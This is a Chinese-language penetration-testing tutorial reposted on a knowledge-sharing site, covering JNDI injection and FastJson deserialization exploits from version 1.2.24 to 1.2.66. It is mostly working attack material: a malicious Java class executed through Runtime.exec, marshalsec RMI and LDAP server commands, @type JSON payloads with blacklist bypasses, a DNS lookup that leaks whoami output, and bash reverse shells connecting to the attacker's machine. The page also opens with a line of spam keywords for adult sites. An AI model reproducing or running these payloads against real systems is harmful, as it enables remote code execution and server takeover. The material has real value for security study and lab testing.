午夜视频在线网站,日韩视频精品在线,中文字幕精品一区二区三区在线,在线播放精品,1024你懂我懂的旧版人,欧美日韩一级黄色片,一区二区三区在线观看视频

分享

FastJson滲透測(cè)試

 新用戶36657816 2021-08-06

1.FastJson 簡(jiǎn)介

fastjson.jar包原始下載地址:

https://github.com/alibaba/fastjson

fastjson用于將Java Bean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。fastjson.jar是阿里開(kāi)發(fā)的一款專門用于Java開(kāi)發(fā)的包,可以方便的實(shí)現(xiàn)json對(duì)象與JavaBean對(duì)象的轉(zhuǎn)換,實(shí)現(xiàn)JavaBean對(duì)象與json字符串的轉(zhuǎn)換,實(shí)現(xiàn)json對(duì)象與json字符串的轉(zhuǎn)換。除了這個(gè)fastjson以外,還有Google開(kāi)發(fā)的Gson包,其他形式的如net.sf.json包,都可以實(shí)現(xiàn)json的轉(zhuǎn)換。方法名稱不同而已,最后的實(shí)現(xiàn)結(jié)果都是一樣的。

將json字符串轉(zhuǎn)化為json對(duì)象在net.sf.json中是這么做的JSONObject obj = new JSONObject().fromObject(jsonStr);//將json字符串轉(zhuǎn)換為json對(duì)象在fastjson中是這么做的JSONObject obj=JSON.parseObject(jsonStr);//將json字符串轉(zhuǎn)換為json對(duì)象

1.1 JNDI

JNDI是 Java 命名與目錄接口(Java Naming and Directory Interface),在J2EE規(guī)范中是重要的規(guī)范之一。JNDI提供統(tǒng)一的客戶端API,為開(kāi)發(fā)人員提供了查找和訪問(wèn)各種命名和目錄服務(wù)的通用、統(tǒng)一的接口,可以用來(lái)定位用戶、網(wǎng)絡(luò)、機(jī)器、對(duì)象和服務(wù)等各種資源。比如可以利用JNDI再局域網(wǎng)上定位一臺(tái)打印機(jī),也可以用JNDI來(lái)定位數(shù)據(jù)庫(kù)服務(wù)或一個(gè)遠(yuǎn)程Java對(duì)象。JNDI底層支持RMI遠(yuǎn)程對(duì)象,RMI注冊(cè)的服務(wù)可以通過(guò)JNDI接口來(lái)訪問(wèn)和調(diào)用。

JNDi是應(yīng)用程序設(shè)計(jì)的Api,JNDI可以根據(jù)名字動(dòng)態(tài)加載數(shù)據(jù),支持的服務(wù)主要有以下幾種:
DNS、LDAP、CORBA對(duì)象服務(wù)、RMI

1.2 利用JNDI References進(jìn)行注入

對(duì)于這個(gè)知識(shí)點(diǎn),我們需要先了解RMI的作用。

首先RMI(Remote Method Invocation)是專為Java環(huán)境設(shè)計(jì)的遠(yuǎn)程方法調(diào)用機(jī)制,遠(yuǎn)程服務(wù)器實(shí)現(xiàn)具體的Java方法并提供接口,客戶端本地僅需根據(jù)接口類的定義,提供相應(yīng)的參數(shù)即可調(diào)用遠(yuǎn)程方法。RMI依賴的通信協(xié)議為JRMP(Java Remote Message Protocol ,Java 遠(yuǎn)程消息交換協(xié)議),該協(xié)議為Java定制,要求服務(wù)端與客戶端都為Java編寫(xiě)。這個(gè)協(xié)議就像HTTP協(xié)議一樣,規(guī)定了客戶端和服務(wù)端通信要滿足的規(guī)范。在RMI中對(duì)象是通過(guò)序列化方式進(jìn)行編碼傳輸?shù)?。RMI服務(wù)端可以直接綁定遠(yuǎn)程調(diào)用的對(duì)象以外,還可通過(guò)References類來(lái)綁定一個(gè)外部的遠(yuǎn)程對(duì)象,當(dāng)RMI綁定了References之后,首先會(huì)利用Referenceable.getReference()獲取綁定對(duì)象的引用,并在目錄中保存,當(dāng)客戶端使用lookup獲取對(duì)應(yīng)名字時(shí),會(huì)返回ReferenceWrapper類的代理文件,然后會(huì)調(diào)用getReference()獲取Reference類,最終通過(guò)factory類將Reference轉(zhuǎn)換為具體的對(duì)象實(shí)例。

服務(wù)端

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); // Reference需要傳入三個(gè)參數(shù)(className,factory,factoryLocation) // 第一個(gè)參數(shù)隨意填寫(xiě)即可,第二個(gè)參數(shù)填寫(xiě)我們http服務(wù)下的類名,第三個(gè)參數(shù)填寫(xiě)我們的遠(yuǎn)程地址 Reference refObj = new Reference('Evil', 'EvilObject', 'http://127.0.0.1:8000/'); // ReferenceWrapper包裹Reference類,使其能夠通過(guò)RMI進(jìn)行遠(yuǎn)程訪問(wèn) ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind('refObj', refObjWrapper); }}
從ReferenceWrapper源碼可以看出,該類繼承自UnicastRemoteObject,實(shí)現(xiàn)對(duì)Reference的包裹,使其能夠通過(guò)RMI進(jìn)行遠(yuǎn)程訪問(wèn)

圖片

客戶端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup('rmi://localhost:8000/refObj');
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
如果我們可以控制JNDI客戶端中傳入的url,就可以起一個(gè)惡意的RMI,讓JNDI來(lái)加載我們的惡意類從而進(jìn)行命令執(zhí)行。
我們來(lái)看一下References,References類有兩個(gè)屬性,className和codebase url,className就是遠(yuǎn)程引用的類名,codebase決定了我們遠(yuǎn)程類的位置,當(dāng)本地classpath中沒(méi)有找到對(duì)應(yīng)的類的時(shí)候,就會(huì)去請(qǐng)求codebase地址下的類(codebase支持http協(xié)議),此時(shí)如果我們將codebase地址下的類換成我們的惡意類,就能讓客戶端執(zhí)行。
ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能夠從指定codebase中下載字節(jié)碼。

整個(gè)利用流程如下
1.首先開(kāi)啟HTTP服務(wù)器,并將我們的惡意類放在目錄下2.開(kāi)啟惡意RMI服務(wù)器3.攻擊者控制url參數(shù)為上一步開(kāi)啟的惡意RMI服務(wù)器地址4.惡意RMI服務(wù)器返回ReferenceWrapper類5.目標(biāo)(JNDI_Client)在執(zhí)行l(wèi)ookup操作的時(shí)候,在decodeObject中將ReferenceWrapper變成Reference類,然后遠(yuǎn)程加載并實(shí)例化我們的Factory類(即遠(yuǎn)程加載我們HTTP服務(wù)器上的惡意類),在實(shí)例化時(shí)觸發(fā)靜態(tài)代碼片段中的惡意代碼

2.FastJson滲透總結(jié)

1.反序列化常用的兩種利用方式,一種是基于rmi,一種是基于ldap。2.RMI是一種行為,指的是Java遠(yuǎn)程方法調(diào)用。3.JNDI是一個(gè)接口,在這個(gè)接口下會(huì)有多種目錄系統(tǒng)服務(wù)的實(shí)現(xiàn),通過(guò)名稱等去找到相關(guān)的對(duì)象,并把它下載到客戶端中來(lái)。4.ldap指輕量級(jí)目錄服務(wù)協(xié)議。
存在Java版本限制:
基于rmi的利用方式:適用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;在jdk8u122的時(shí)候,加了反序列化白名單的機(jī)制,關(guān)閉了rmi遠(yuǎn)程加載代碼。基于ldap的利用方式,適用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。在Java 8u191更新中,Oracle對(duì)LDAP向量設(shè)置了相同的限制,并發(fā)布了CVE-2018-3149,關(guān)閉了JNDI遠(yuǎn)程類加載。可以看到ldap的利用范圍是比rmi要大的,實(shí)戰(zhàn)情況下推薦使用ldap方法進(jìn)行利用。

2.1 fastjson 1.2.24反序列化導(dǎo)致任意命令執(zhí)行漏洞(CVE-2017-18349)

漏洞原理

FastJson在解析json的過(guò)程中,支持使用autoType來(lái)實(shí)例化某一個(gè)具體的類,并調(diào)用該類的set/get方法來(lái)訪問(wèn)屬性。通過(guò)查找代碼中相關(guān)的方法,即可構(gòu)造出一些惡意利用鏈。

通俗理解就是:漏洞利用fastjson autotype在處理json對(duì)象的時(shí)候,未對(duì)@type字段進(jìn)行完全的安全性驗(yàn)證,攻擊者可以傳入危險(xiǎn)類,并調(diào)用危險(xiǎn)類連接遠(yuǎn)程rmi主機(jī),通過(guò)其中的惡意類執(zhí)行代碼。攻擊者通過(guò)這種方式可以實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行漏洞的利用,獲取服務(wù)器的敏感信息泄露,甚至可以利用此漏洞進(jìn)一步對(duì)服務(wù)器數(shù)據(jù)進(jìn)行修改,增加,刪除等操作,對(duì)服務(wù)器造成巨大影響。

影響版本

Fastjson < 1.2.25

漏洞啟動(dòng)

靶機(jī):Ubuntu ip:192.168.9.234        攻擊機(jī):kali ip:192.168.10.65

開(kāi)啟fastjson漏洞

docker-compose up -ddocker ps

圖片

圖片

訪問(wèn)靶機(jī),可以看見(jiàn)json格式的輸出:

圖片

圖片

因?yàn)槭荍ava 8u102,沒(méi)有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以使用com.sun.rowset.JdbcRowSetImpl的利用鏈,借助JNDI注入來(lái)執(zhí)行命令。

在kali上執(zhí)行下面這條命令,使用 curl命令模擬json格式的POST請(qǐng)求,返回json格式的請(qǐng)求結(jié)果,沒(méi)報(bào)404,正常情況下說(shuō)明存在該漏洞。
curl http://192.168.9.234:8090/ -H 'Content-Type: application/json' --data '{'name':'zcc', 'age':18}'

圖片

kali安裝Javac環(huán)境,這里我已經(jīng)安裝好了
cd /optcurl http://www./rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -versionjava -version

圖片

編譯惡意類代碼
import java.lang.Runtime;import java.lang.Process;public class zcc{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {'touch', '/tmp/zcctest'}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

圖片

圖片

javac zcc.java

圖片

搭建http服務(wù)傳輸惡意文件

python -m SimpleHTTPServer 80

圖片

編譯并開(kāi)啟RMI服務(wù):

>1 下載marshalsec(我這里已經(jīng)安裝好):

git clone https://github.com/mbechler/marshalsec.git

圖片

>2 然后安裝maven:

apt-get install maven

圖片

>3 然后使用maven編譯marshalsec成jar包,我們先進(jìn)入下載的marshalsec文件中運(yùn)行:
mvn clean package -DskipTests

圖片

圖片

>4 然后我們借助marshalsec項(xiàng)目,啟動(dòng)一個(gè)RMI服務(wù)器,監(jiān)聽(tīng)9999端口,并制定遠(yuǎn)程加載類TouchFile.class,這里的ip為你上面開(kāi)啟http服務(wù)的ip,我們這里就是kali的ip:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://192.168.10.65/#zcc' 9999

這里如果要啟動(dòng)LDAP服務(wù)的話,只需把上面命令中的RMI改成LDAP即可,例如:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://192.168.10.65/#zcc' 9999

圖片

可以看見(jiàn)請(qǐng)求成功,并加載了惡意類。

>5 使用BP抓包,并寫(xiě)入poc(記住請(qǐng)求包里面請(qǐng)求方式改成post,Content-Type改成application/json):

{ 'b':{ '@type':'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName':'rmi://192.168.10.65:9999/zcc', 'autoCommit':true }}

圖片

圖片

圖片

圖片

圖片

可以看見(jiàn)成功寫(xiě)入。

這里我們用dnslog做一個(gè)小測(cè)試:

http://www./

圖片

直接覆蓋原來(lái)得文件;

'/bin/sh','-c','ping user.'whoami'.jeejay.'

圖片

圖片

點(diǎn)擊send發(fā)送之后成功回顯

圖片

反彈shell的話也只需修改惡意類中commands的內(nèi)容即可,代碼參考如下,建議用第二個(gè),第二個(gè)前面帶主機(jī)名,看起來(lái)舒服點(diǎn),我這里用的第一個(gè);
'/bin/bash','-c','exec 5<>/dev/tcp/192.168.10.65/8899;cat <&5 | while read line; do $line 2>&5 >&5; done'或者'/bin/bash', '-c', 'bash -i >& /dev/tcp/192.168.10.65/1234 0>&1'

圖片

圖片

2.2 Fastjson 1.2.47遠(yuǎn)程命令執(zhí)行漏洞

漏洞原理

Fastjson是阿里巴巴公司開(kāi)源的一款json解析器,其性能優(yōu)越,被廣泛應(yīng)用于各大廠商的Java項(xiàng)目中。fastjson于1.2.24版本后增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構(gòu)造的json字符串繞過(guò)白名單檢測(cè),成功執(zhí)行任意命令。

影響版本

Fastjson < 1.2.47

漏洞啟動(dòng)

圖片

圖片

因?yàn)槟繕?biāo)環(huán)境是openjdk:8u102,
這個(gè)版本沒(méi)有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以利用RMI進(jìn)行命令執(zhí)行。

圖片

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class zcc { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {'touch', '/tmp/zcctest111'}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

圖片

圖片

開(kāi)啟http服務(wù)

python -m SimpleHTTPServer 8080

圖片

圖片

借助marshalsec項(xiàng)目啟動(dòng)RMI服務(wù)器,監(jiān)聽(tīng)9998端口,并制定加載遠(yuǎn)程類zcc.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://192.168.10.65/#zcc' 9999

圖片

發(fā)送payload,別忘了改Content-Type: application/json,可以看見(jiàn)成功寫(xiě)入,反彈shell的手段和上面1.2.24的一樣:

{ 'a':{ '@type':'java.lang.Class', 'val':'com.sun.rowset.JdbcRowSetImpl' }, 'b':{ '@type':'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName':'rmi://192.168.10.65:9999/zcc', 'autoCommit':true }}

圖片

圖片

圖片

反彈shell;

'/bin/bash', '-c', 'bash -i >& /dev/tcp/192.168.10.65/8899 0>&1'

圖片

圖片

2.3 fastjson<=1.2.41漏洞詳情

第一個(gè)Fastjson反序列化漏洞爆出后,阿里在1.2.25版本設(shè)置了autoTypeSupport屬性默認(rèn)為false,并且增加了checkAutoType()函數(shù),通過(guò)黑白名單的方式來(lái)防御Fastjson反序列化漏洞,因此后面發(fā)現(xiàn)的Fastjson反序列化漏洞都是針對(duì)黑名單繞過(guò)來(lái)實(shí)現(xiàn)攻擊利用的目的的。com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名單,fastjson有個(gè)判斷條件判斷類名是否以'L'開(kāi)頭、以';'結(jié)尾,是的話就提取出其中的類名在加載進(jìn)來(lái),因此在原類名頭部加L,尾部加;即可繞過(guò)黑名單的同時(shí)加載類。

exp:
{ '@type':'Lcom.sun.rowset.JdbcRowSetImpl;', 'dataSourceName':'rmi://x.x.x.x:9999/rce_1_2_24_exploit', 'autoCommit':true}

autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認(rèn)為false

2.4 fastjson<=1.2.42漏洞詳情

fastjson在1.2.42版本新增了校驗(yàn)機(jī)制。如果輸入類名的開(kāi)頭和結(jié)尾是L和;就將頭尾去掉再進(jìn)行黑名單校驗(yàn)。繞過(guò)方法:在類名外部嵌套兩層L和;。
原類名:com.sun.rowset.JdbcRowSetImpl繞過(guò):LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{ '@type':'LLcom.sun.rowset.JdbcRowSetImpl;;', 'dataSourceName':'rmi://x.x.x.x:9999/exp', 'autoCommit':true}
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認(rèn)為false)

2.5 fastjson<=1.2.45漏洞詳情

前提條件:目標(biāo)服務(wù)器存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。

使用黑名單繞過(guò),org.apache.ibatis.datasource在1.2.46版本被加入了黑名單。

autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認(rèn)為false)

exp:

{'@type':'org.apache.ibatis.datasource.jndi.JndiDataSourceFactory','properties':{'data_source':'ldap://localhost:1389/Exploit'}

2.6 fastjson<=1.2.47漏洞詳情

對(duì)版本小于1.2.48的版本通殺,autoType為關(guān)閉狀態(tài)也可用。loadClass中默認(rèn)cache為true,利用分2步,首先使用java.lang.Class把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.jdbcRowSetlmpl這個(gè)類,繞過(guò)了黑名單機(jī)制。

exp:
{ 'a': { '@type': 'java.lang.Class', 'val': 'com.sun.rowset.JdbcRowSetImpl' }, 'b': { '@type': 'com.sun.rowset.JdbcRowSetImpl', 'dataSourceName': 'rmi://x.x.x.x:9999/exp', 'autoCommit': true }}

2.7 fastjson<=1.2.62漏洞詳情

基于黑名單繞過(guò)exp:

{'@type':'org.apache.xbean.propertyeditor.JndiConverter','AsText':'rmi://x.x.x.x:9999/exploit'}';

2.8 fastjson<=1.2.66漏洞詳情

也是基于黑名單繞過(guò),autoTypeSupport屬性為true才能使用,(fastjson>=1.2.25默認(rèn)為false)以下是幾個(gè)exp:

{'@type':'org.apache.shiro.jndi.JndiObjectFactory','resourceName':'ldap://192.168.80.1:1389/Calc'}{'@type':'br.com.anteros.dbcp.AnterosDBCPConfig','metricRegistry':'ldap://192.168.80.1:1389/Calc'}{'@type':'org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup','jndiNames':'ldap://192.168.80.1:1389/Calc'}{'@type':'com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig','properties': {'@type':'java.util.Properties','UserTransaction':'ldap://192.168.80.1:1389/Calc'}}

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多